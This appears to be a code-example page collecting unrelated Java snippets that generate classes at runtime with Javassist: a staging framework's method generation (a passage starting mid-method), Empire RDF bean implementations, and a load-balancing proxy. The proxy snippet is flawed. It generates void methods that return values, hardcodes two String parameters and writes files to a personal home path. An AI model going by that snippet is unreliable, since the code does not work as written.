            || (args.get(i).getType().isReference()
                && !Util.couldBeGlobalCarrier(args.get(i).getType()))) {
          invokeSource.append(
              "    payload = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".unloadLocalCarrierChecked(argument"
                  + i
                  + ");\n"
                  + "    if ("
                  + generateLanguageAcceptCheck(
                      "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
                  + ") {\n"
                  + "        arguments["
                  + i
                  + "] = payload.getRaw();\n"
                  + "    } else {\n"
                  + "        payload.evaluate();\n"

                  // This handles the weird case when the materialized argument could be globally
                  // carried and might need unloading and checking
                  // We know that it is an ObjectValue instance
                  + "        "
                  + Util.EXPRESSION_CLASS.getName()
                  + " value = payload.asValueIfEvaluated();\n"
                  + "        Object obj = value.materializeAsObject(); \n"
                  + "        if (obj instanceof "
                  + Util.GLOBAL_CARRIER_CLASS.getName()
                  + ") {\n"
                  + "            payload = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".unloadGlobalCarrier(("
                  + Util.GLOBAL_CARRIER_CLASS.getName()
                  + ") obj);\n"
                  + "            if (payload == null || !("
                  + generateLanguageAcceptCheck(
                      "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
                  + ")) {\n"
                  + "                arguments["
                  + i
                  + "] = value;\n"
                  + "            } else {\n"
                  + "                arguments["
                  + i
                  + "] = payload;\n"
                  + "            }\n"
                  + "        } else {\n"
                  + "            arguments["
                  + i
                  + "] = value;\n"
                  + "        }\n"
                  + "    }\n");
        } else if (args.get(i).getType().isReference()) {
          invokeSource.append(
              "    if (argument"
                  + i
                  + " instanceof "
                  + Util.LOCAL_CARRIER_CLASS.getName()
                  + ") {\n"
                  + "        payload = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".unloadLocalCarrierChecked(("
                  + Util.LOCAL_CARRIER_CLASS.getName()
                  + ") argument"
                  + i
                  + ");\n"
                  + "        if ("
                  + generateLanguageAcceptCheck(
                      "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
                  + ") {\n"
                  + "            arguments["
                  + i
                  + "] = payload.getRaw();\n"
                  + "        } else {\n"
                  + "            payload.evaluate();\n"

                  // This handles the weird case when the materialized argument could be globally
                  // carried and might need unloading and checking
                  // We know that it is an ObjectValue instance
                  + "            "
                  + Util.EXPRESSION_CLASS.getName()
                  + " value = payload.asValueIfEvaluated();\n"
                  + "            Object obj = value.materializeAsObject(); \n"
                  + "            if (obj instanceof "
                  + Util.GLOBAL_CARRIER_CLASS.getName()
                  + ") {\n"
                  + "                payload = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".unloadGlobalCarrier(("
                  + Util.GLOBAL_CARRIER_CLASS.getName()
                  + ") obj);\n"
                  + "                if (payload == null || !("
                  + generateLanguageAcceptCheck(
                      "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
                  + ")) {\n"
                  + "                    arguments["
                  + i
                  + "] = value;\n"
                  + "                } else {\n"
                  + "                    arguments["
                  + i
                  + "] = payload;\n"
                  + "                }\n"
                  + "            } else {\n"
                  + "                arguments["
                  + i
                  + "] = value;\n"
                  + "            }\n"
                  + "        }\n"
                  + "    } else if (argument"
                  + i
                  + " instanceof "
                  + Util.GLOBAL_CARRIER_CLASS.getName()
                  + ") {\n"
                  + "        payload = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".unloadGlobalCarrierChecked(("
                  + Util.GLOBAL_CARRIER_CLASS.getName()
                  + ") argument"
                  + i
                  + ");\n"
                  + "        if (!("
                  + generateLanguageAcceptCheck(
                      "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
                  + ")) {\n"
                  + "            arguments["
                  + i
                  + "] = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".selfLiftGlobalCarrier(("
                  + Util.GLOBAL_CARRIER_CLASS.getName()
                  + ") argument"
                  + i
                  + ");\n"
                  + "        } else {\n"
                  + "            arguments["
                  + i
                  + "] = payload;\n"
                  + "        }\n"
                  + "    } else {\n"
                  + "        arguments["
                  + i
                  + "] = "
                  + Util.DISPATCHER_CLASS.getName()
                  + "."
                  + Util.getLiftMethodName(Type.OBJECT)
                  + "(argument"
                  + i
                  + ");\n"
                  + "    }\n");
        } else {
          invokeSource.append(
              "    if ("
                  + generateLanguageAcceptCheck(
                      "argument" + i, args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
                  + ") {\n"
                  + "        arguments["
                  + i
                  + "] = argument"
                  + i
                  + generateConversionSuffix(args.get(i).getType())
                  + ".getRaw();\n"
                  + "    } else {\n"
                  + "        argument"
                  + i
                  + ".evaluate();\n"
                  + "        arguments["
                  + i
                  + "] = argument"
                  + i
                  + ".asValueIfEvaluated();\n"
                  + "    }\n");
        }
      }
      String construction;
      if (!staged.getStaticInfoElements().isEmpty()) {
        construction = "new " + clazz.getName() + "(arguments, staticInfo, closureHolder)";
      } else {
        construction = "new " + clazz.getName() + "(arguments, null, closureHolder)";
      }
      if (staged.isStrict()) {
        Type type = staged.getType();
        if (type.isReference()) {
          invokeSource.append(
              "    return ("
                  + type.getCtClass().getName()
                  + ") ("
                  + construction
                  + ").materializeAsObject();\n");
        } else if (type.equals(Type.BOOLEAN)) {
          invokeSource.append("    return (" + construction + ").materializeAsBoolean();\n");
        } else if (type.equals(Type.INT)) {
          invokeSource.append("    return (" + construction + ").materializeAsInteger();\n");
        } else if (type.equals(Type.LONG)) {
          invokeSource.append("    return (" + construction + ").materializeAsLong();\n");
        } else if (type.equals(Type.FLOAT)) {
          invokeSource.append("    return (" + construction + ").materializeAsFloat();\n");
        } else if (type.equals(Type.DOUBLE)) {
          invokeSource.append("    return (" + construction + ").materializeAsDouble();\n");
        } else if (type.equals(Type.BYTE)) {
          invokeSource.append("    return (" + construction + ").materializeAsByte();\n");
        } else if (type.equals(Type.CHAR)) {
          invokeSource.append("    return (" + construction + ").materializeAsCharacter();\n");
        } else if (type.equals(Type.SHORT)) {
          invokeSource.append("    return (" + construction + ").materializeAsShort();\n");
        } else if (type.equals(Type.VOID)) {
          invokeSource.append("    return (" + construction + ").evaluate();\n");
        }
      } else {
        if (Util.isGlobalCarrier(staged.getType())) {
          if (staged.getType().getCtClass().equals(Util.GLOBAL_CARRIER_CLASS)) {
            invokeSource.append(
                "    return new "
                    + Util.GLOBAL_CARRIER_CLASS.getName()
                    + "("
                    + construction
                    + ");\n");
          } else {
            CarrierTransformer.transformCarrierChecked(staged.getType().getCtClass());
            invokeSource.append(
                "    return new "
                    + staged.getType().getCtClass().getName()
                    + "(("
                    + Util.DISAMBIGUATION_PARAMETER_CLASS.getName()
                    + ") null, "
                    + construction
                    + ");\n");
          }
        } else if (Util.isLocalCarrier(staged.getType())) {
          if (staged.getType().getCtClass().equals(Util.LOCAL_CARRIER_CLASS)) {
            invokeSource.append(
                "    return new "
                    + Util.LOCAL_CARRIER_CLASS.getName()
                    + "("
                    + construction
                    + ");\n");
          } else {
            CarrierTransformer.transformCarrierChecked(staged.getType().getCtClass());
            invokeSource.append(
                "    return new "
                    + staged.getType().getCtClass().getName()
                    + "(("
                    + Util.DISAMBIGUATION_PARAMETER_CLASS.getName()
                    + ") null, "
                    + construction
                    + ");\n");
          }
        } else if (staged.getType().isReference()) {
          invokeSource.append(
              "    return new " + Util.LOCAL_CARRIER_CLASS.getName() + "(" + construction + ");\n");
        } else {
          invokeSource.append("    return " + construction + ";\n");
        }
      }
      invokeSource.append("}");
      CtMethod invoke = CtMethod.make(invokeSource.toString(), clazz);
      clazz.addMethod(invoke);

      // Make isomorphic hash code method
      String isomorphicHashCodeSource =
          "int isomorphicHashCode() {\n"
              + "    if (!$0.isomorphicHashCodeHasBeenCalculated) {\n"
              + "        super.isomorphicHashCode("
              + staged.getMember().hashCode()
              + ");\n"
              + "    }"
              + "    return $0.isomorphicHashCode;"
              + "}";
      CtMethod isomorphicHashCode = CtMethod.make(isomorphicHashCodeSource, clazz);
      clazz.addMethod(isomorphicHashCode);

      // Make isomorphism check method
      String isIsomorphicToSource =
          "boolean isIsomorphicTo(java.util.IdentityHashMap identityMap, "
              + Util.EXPRESSION_CLASS.getName()
              + " expression) {\n"
              + "    if (!(expression instanceof "
              + clazz.getName()
              + ")) { return false; }\n"
              + "    return super.isIsomorphicTo(identityMap, expression);\n"
              + "}";
      CtMethod isIsomorphicTo = CtMethod.make(isIsomorphicToSource, clazz);
      clazz.addMethod(isIsomorphicTo);

      // Make cache clone (with empty leaves to save memory) creation method
      String cacheCloneSource =
          Util.EXPRESSION_CLASS.getName()
              + " cacheClone(java.util.IdentityHashMap identityMap) {\n"
              + "    "
              + Util.EXPRESSION_CLASS.getName()
              + " e = ("
              + Util.EXPRESSION_CLASS.getName()
              + ") identityMap.get(this);\n"
              + "    if (e != null) {\n"
              + "        return e;\n"
              + "    } else {\n"
              + "        "
              + Util.EXPRESSION_CLASS.getName()
              + "[] clonedArguments = super.cacheCloneArguments(identityMap);\n"
              + "        if (clonedArguments != null) {\n"
              + "            "
              + clazz.getName()
              + " s = new "
              + clazz.getName()
              + "(clonedArguments, $0.staticInfo, null);\n"
              + "            s.isomorphicHashCode = $0.isomorphicHashCode();\n"
              + "            s.isomorphicHashCodeHasBeenCalculated = true;\n"
              + "            identityMap.put(this, s);\n"
              + "            return s;\n"
              + "        } else {\n"
              + "            identityMap.put(this, this);\n"
              + "            return this;\n"
              + "        }\n"
              + "    }\n"
              + "}";
      CtMethod cacheClone = CtMethod.make(cacheCloneSource, clazz);
      clazz.addMethod(cacheClone);

      // Make language acceptance check method
      String isAcceptedBySource =
          "boolean isAcceptedBy("
              + CtClass.class.getName()
              + " language) { return $0.language.equals(language); }";
      CtMethod isAcceptedBy = CtMethod.make(isAcceptedBySource, clazz);
      clazz.addMethod(isAcceptedBy);

      // Make polymorphic member retrieval method
      String getMemberSource =
          "public " + memberClassName + " getMember() { return $0." + memberName + "; }";
      CtMethod getMember = CtMethod.make(getMemberSource, clazz);
      clazz.addMethod(getMember);

      // Make evaluation method
      Class<?> closureInterface = getClosureInterface(staged.getType());
      String evaluateSource;
      if (Util.isGlobalCarrier(staged.getType()) && !staged.isStrict()) {
        evaluateSource = "public void evaluate() { throw new UnsupportedOperationException(); }";
      } else {
        evaluateSource =
            "public void evaluate() {\n"
                + "    if ($0.value != null) { return; }\n"
                + "    "
                + closureInterface.getName()
                + " closure;\n"
                + "    "
                + Util.ENVIRONMENT_CLASS.getName()
                + " environment;\n"
                + "    if ($0.closureHolder == null) {\n"
                + "        "
                + Util.CLOSURE_HOLDER_CLASS.getName()
                + " cachedClosureHolder = "
                + GlobalCache.class.getName()
                + ".getCachedClosureHolder($0);\n"
                + "        if (cachedClosureHolder == null) {\n"
                + "            "
                + Util.BINDER_CLASS.getName()
                + " binder = new "
                + Util.BINDER_CLASS.getName()
                + "($0);\n"
                + "            closure = "
                + staged.getLanguage().getName()
                + ".make"
                + closureInterface.getSimpleName()
                + "($0, binder, false);\n"
                + "            environment = new "
                + Util.ENVIRONMENT_CLASS.getName()
                + "($0, binder.getBoundCount());\n"
                + "            if (!binder.inspectionOccurred()) {\n"
                + "                "
                + GlobalCache.class.getName()
                + ".cache($0, closure, binder.getBoundCount());\n"
                + "            }\n"
                + "        } else {\n"
                + "            closure = ("
                + closureInterface.getName()
                + ") cachedClosureHolder.getClosure();\n"
                + "            environment = new "
                + Util.ENVIRONMENT_CLASS.getName()
                + "($0, cachedClosureHolder.getEnvironmentSize());\n"
                + "        }\n"
                + "    } else {\n"
                + "        closure = ("
                + closureInterface.getName()
                + ") $0.closureHolder.getClosure();\n"
                + "        if (closure == null) {\n"
                + "            "
                + Util.CLOSURE_HOLDER_CLASS.getName()
                + " cachedClosureHolder = "
                + GlobalCache.class.getName()
                + ".getCachedClosureHolder($0);\n"
                + "            if (cachedClosureHolder == null) {\n"
                + "                "
                + Util.BINDER_CLASS.getName()
                + " binder = new "
                + Util.BINDER_CLASS.getName()
                + "($0);\n"
                + "                closure = "
                + staged.getLanguage().getName()
                + ".make"
                + closureInterface.getSimpleName()
                + "($0, binder, $0.closureHolder.isPermanent());\n"
                + "                environment = new "
                + Util.ENVIRONMENT_CLASS.getName()
                + "($0, binder.getBoundCount());\n"
                + "                if (!binder.inspectionOccurred()) {\n"
                + "                    $0.closureHolder.set(closure, binder.getBoundCount());\n"
                + "                    "
                + GlobalCache.class.getName()
                + ".cache($0, closure, binder.getBoundCount());\n"
                + "                }\n"
                + "            } else {\n"
                + "                closure = ("
                + closureInterface.getName()
                + ") cachedClosureHolder.getClosure();\n"
                + "                environment = new "
                + Util.ENVIRONMENT_CLASS.getName()
                + "($0, cachedClosureHolder.getEnvironmentSize());\n"
                + "                $0.closureHolder.set(closure, cachedClosureHolder.getEnvironmentSize());\n"
                + "            }\n"
                + "        } else {\n"
                + "            environment = new "
                + Util.ENVIRONMENT_CLASS.getName()
                + "($0, $0.closureHolder.getEnvironmentSize());\n"
                + "        }\n"
                + "    }\n"
                + (staged.getType().equals(Type.VOID)
                    ? "    closure.evaluate(environment);\n"
                    : "    $0.value = "
                        + Util.DISPATCHER_CLASS.getName()
                        + "."
                        + Util.getLiftMethodName(staged.getType())
                        + "(closure.evaluate(environment));\n")
                + "}";
      }
      CtMethod evaluate = CtMethod.make(evaluateSource, clazz);
      clazz.addMethod(evaluate);

      clazz.toClass();
    } catch (CannotCompileException | NotFoundException e) {
      throw new RuntimeException(e);
    }

    return clazz;
  }
Beispiel #15
0
  /**
   * Given a bean-style interface, generate an instance of the interface by implementing getters and
   * setters for each property. It will also add implementations to support the {@link
   * SupportsRdfId} interface and generate simple, default equals, toString and hashCode methods.
   *
   * <p>If there are other non-bean style (getter and/or setter's for properties) methods on the
   * interface, this will likely fail to generate the instance.
   *
   * @param theInterface the interface to build an instance of
   * @param <T> the type of the interface
   * @return New dynamically generated bytecode of a class that implements the given interface.
   * @throws Exception if there is an error while generating the bytecode of the new class.
   */
  public static synchronized <T> Class<T> generateInstanceClass(Class<T> theInterface)
      throws Exception {
    processedMethods.clear();

    // TODO: can we use some sort of template language for this?

    ClassPool aPool = ClassPool.getDefault();

    aPool.appendClassPath(new LoaderClassPath(theInterface.getClassLoader()));

    CtClass aInterface = aPool.get(theInterface.getName());
    CtClass aSupportsRdfIdInterface = aPool.get(SupportsRdfId.class.getName());
    CtClass aEmpireGeneratedInterface = aPool.get(EmpireGenerated.class.getName());

    if (!Arrays.asList(aInterface.getInterfaces()).contains(aSupportsRdfIdInterface)
        && !SupportsRdfId.class.isAssignableFrom(theInterface)) {
      throw new IllegalArgumentException(
          "Class '"
              + theInterface.getName()
              + "' does not implement SupportsRdfId, cannot generate Empire suitable implementation.");
    }

    String aName = aInterface.getPackageName() + ".impl." + aInterface.getSimpleName() + "Impl";
    CtClass aClass = null;

    try {
      //  i had a good reason for doing this, but i dont remember what it is.  when i do, i'll
      // explain it here =)

      aClass = aPool.get(aName);
      return (Class<T>) BeanReflectUtil.loadClass(aName);
    } catch (NotFoundException e) {
      aClass =
          aPool.makeClass(
              aInterface.getPackageName() + ".impl." + aInterface.getSimpleName() + "Impl");
    } catch (ClassNotFoundException e) {
      throw new Exception("Previously created class cannot be loaded.", e);
    }

    if (aClass.isFrozen()) {
      aClass.defrost();
    }

    if (aInterface.isInterface()) {
      aClass.addInterface(aInterface);
    } else {
      aClass.setSuperclass(aInterface);
    }

    aClass.addInterface(aSupportsRdfIdInterface);
    aClass.addInterface(aEmpireGeneratedInterface);

    CtField aInterfaceField =
        new CtField(aPool.get(Class.class.getName()), "mInterfaceClass", aClass);
    aClass.addField(
        aInterfaceField, CtField.Initializer.byExpr(theInterface.getName() + ".class;"));

    CtField aAllTriplesField = new CtField(aPool.get(Graph.class.getName()), "mAllTriples", aClass);
    aClass.addField(
        aAllTriplesField, CtField.Initializer.byExpr("new com.clarkparsia.openrdf.ExtGraph();"));

    CtField aInstanceTriplesField =
        new CtField(aPool.get(Graph.class.getName()), "mInstanceTriples", aClass);
    aClass.addField(
        aInstanceTriplesField,
        CtField.Initializer.byExpr("new com.clarkparsia.openrdf.ExtGraph();"));

    aClass.addConstructor(CtNewConstructor.defaultConstructor(aClass));

    generateMethods(theInterface, aPool, aClass);
    generateMethodsForSuperInterfaces(theInterface, aPool, aClass);

    CtField aIdField = new CtField(aPool.get(SupportsRdfId.class.getName()), "supportsId", aClass);
    aClass.addField(
        aIdField,
        CtField.Initializer.byExpr("new com.clarkparsia.empire.annotation.SupportsRdfIdImpl();"));

    if (!hasMethod(aClass, "getRdfId")) {
      aClass.addMethod(
          CtNewMethod.make(
              "public com.clarkparsia.empire.SupportsRdfId.RdfKey getRdfId() { return supportsId.getRdfId(); } ",
              aClass));
    }

    if (!hasMethod(aClass, "setRdfId")) {
      aClass.addMethod(
          CtNewMethod.make(
              "public void setRdfId(com.clarkparsia.empire.SupportsRdfId.RdfKey theURI) { supportsId.setRdfId(theURI); } ",
              aClass));
    }

    if (!hasMethod(aClass, "getAllTriples")) {
      aClass.addMethod(
          CtNewMethod.make(
              "public org.openrdf.model.Graph getAllTriples() { return mAllTriples; } ", aClass));
    }

    if (!hasMethod(aClass, "setAllTriples")) {
      aClass.addMethod(
          CtNewMethod.make(
              "public void setAllTriples(org.openrdf.model.Graph theGraph) { mAllTriples = theGraph; } ",
              aClass));
    }

    if (!hasMethod(aClass, "getInstanceTriples")) {
      aClass.addMethod(
          CtNewMethod.make(
              "public org.openrdf.model.Graph getInstanceTriples() { return mInstanceTriples; } ",
              aClass));
    }

    if (!hasMethod(aClass, "setInstanceTriples")) {
      aClass.addMethod(
          CtNewMethod.make(
              "public void setInstanceTriples(org.openrdf.model.Graph theGraph) { mInstanceTriples = theGraph; } ",
              aClass));
    }

    String equalsMethodBody =
        "public boolean equals(Object theObj) {\n"
            + "  if (theObj == this) return true;\n"
            + "  if (!(theObj instanceof com.clarkparsia.empire.SupportsRdfId)) return false;\n"
            + "  if (!(mInterfaceClass.isAssignableFrom(theObj.getClass()))) return false;\n"
            + "  return getRdfId().equals( ((com.clarkparsia.empire.SupportsRdfId) theObj).getRdfId()) && super.equals(theObj);\n"
            + "}\n";

    aClass.addMethod(CtNewMethod.make(equalsMethodBody, aClass));

    if (theInterface.isInterface()) {
      aClass.addMethod(
          CtNewMethod.make(
              "public String toString() { return getRdfId() != null ? getRdfId().toString() : super.toString(); } ",
              aClass));
      aClass.addMethod(
          CtNewMethod.make(
              "public int hashCode() { return getRdfId() != null ? getRdfId().hashCode() : 0; } ",
              aClass));
    }

    aClass.freeze();

    Class<T> aResult = (Class<T>) aClass.toClass();

    try {
      // make sure this is a valid class, that is, we can create instances of it!
      aResult.newInstance();
    } catch (Exception ex) {
      // TODO: log this?
      throw ex;
    }

    return aResult;
  }
  // 用javassit得到动态代理
  public T createJavassistBytecodeDynamicProxy(
      LoadBalancer loadBalance, ConcurrentMap<String, T> map, Class ifaces) {
    try {
      ClassPool mPool = new ClassPool(true);
      CtClass mCtc = mPool.makeClass(ifaces.getName() + "JavaassistProxy");
      mCtc.addInterface(mPool.get(ifaces.getName()));
      mCtc.addConstructor(CtNewConstructor.defaultConstructor(mCtc));

      mCtc.addField(CtField.make("public " + loadBalance.getClass().getName() + " sub;", mCtc));
      mCtc.addField(CtField.make("public " + map.getClass().getName() + " map;", mCtc));
      //            mCtc.addField(CtField.make("public " + ArrayList.class.getName() + " list;",
      // mCtc));

      mCtc.addMethod(
          CtNewMethod.make(
              "public Object getRealClient() { return (Object)sub.select(new "
                  + ArrayList.class.getName()
                  + "(map.values())); }",
              mCtc));

      // 获取接口的方法
      for (Method method : ifaces.getMethods()) {
        Class returnType = method.getReturnType();
        String modifiers = "public";
        if (Modifier.PUBLIC == method.getModifiers()) {
          modifiers = "public";
        } else if (Modifier.PROTECTED == method.getModifiers()) {
          modifiers = "protected";
        } else if (Modifier.PRIVATE == method.getModifiers()) {
          modifiers = "private";
        }
        Class<?>[] parameter = method.getParameterTypes();

        String params = "";
        String ps = "";
        for (Class param : parameter) {
          params += param.getName() + " " + param.getName() + ",";
          ps += param.getName() + ",";
        }
        if (params.equals("")) {
          params = "";
          ps = "";
        } else {
          params = params.substring(0, params.length());
          ps = ps.substring(0, ps.length());
        }

        mCtc.addMethod(
            CtNewMethod.make(
                modifiers
                    + " void "
                    + method.getName()
                    + "(String a,String b){ Object t=this.getRealClient(); return (("
                    + ifaces.getName()
                    + ")t)."
                    + method.getName()
                    + "(a,b) ;}",
                mCtc));
        //                mCtc.addMethod(CtNewMethod.make("public int count() { return
        // delegate.count(); }", mCtc));
      }

      Class<?> pc = mCtc.toClass();

      mCtc.debugWriteFile("/home/liguojun");
      mCtc.writeFile("/home/liguojun");

      T bytecodeProxy = (T) pc.newInstance();
      Field filed = bytecodeProxy.getClass().getField("sub");
      filed.set(bytecodeProxy, loadBalance);

      Field filed1 = bytecodeProxy.getClass().getField("map");
      filed1.set(bytecodeProxy, map);

      return bytecodeProxy;
    } catch (Exception e) {
      e.printStackTrace();
    }
    return null;
  }